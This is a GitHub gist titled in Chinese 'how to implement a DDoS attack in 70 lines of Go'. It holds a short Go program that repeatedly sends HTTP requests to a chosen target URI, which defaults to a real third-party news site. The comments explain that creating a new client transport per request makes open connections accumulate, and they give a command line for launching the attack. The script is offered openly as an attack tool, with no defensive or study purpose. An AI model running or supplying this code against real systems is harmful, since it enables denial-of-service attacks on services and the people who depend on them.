Skip to content

Instantly share code, notes, and snippets.

@yangyuqian
Last active May 16, 2023 07:22
Show Gist options
  • Save yangyuqian/3b0ca5a64ce06e661b305ac0e5449399 to your computer and use it in GitHub Desktop.
Save yangyuqian/3b0ca5a64ce06e661b305ac0e5449399 to your computer and use it in GitHub Desktop.
如何用70行Go代码实现DDos攻击
// Go HTTP Client中的Transport是一种连接池实现,如果Client每次请求不共享,
// 且销毁前打开了socket(从server端读了数据),GC会把遗留的Transport对象回收掉,
// 这样就可以保证连接数一直增加,进而实现简单的DDos攻击。
// 执行本实例:
// ```
// # 对某个uri发动10ms一次的请求
// go run main.go -target ${attacked_uri} -interval 10
// ```
package main
import (
"context"
"flag"
"io/ioutil"
"net"
"net/http"
"time"
)
var (
method string
target string
interval int
)
func init() {
flag.StringVar(&method, "method", "GET", "method used to attack target uri")
flag.StringVar(&target, "target", "http://news.baidu.com", "target uri for DDos attacking")
flag.IntVar(&interval, "interval", 1000, "attacking interval in milliseconds")
}
func httpDial(ctx context.Context, network, addr string) (net.Conn, error) {
dial := net.Dialer{
Timeout: time.Duration(10) * time.Second,
KeepAlive: time.Duration(60) * time.Second,
}
conn, err := dial.Dial(network, addr)
if err != nil {
return conn, err
}
return conn, err
}
func newHttpClient() *http.Client {
client := &http.Client{
Transport: &http.Transport{
DialContext: httpDial,
},
}
return client
}
func attack() {
req, _ := http.NewRequest(method, target, nil)
cli := newHttpClient()
resp, _ := cli.Do(req)
defer func() { resp.Body.Close() }()
ioutil.ReadAll(resp.Body)
}
func attackLoop() {
for {
println("attacking ...")
attack()
time.Sleep(time.Duration(interval) * time.Millisecond)
}
}
func main() {
if !flag.Parsed() {
flag.Parse()
}
attackLoop()
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment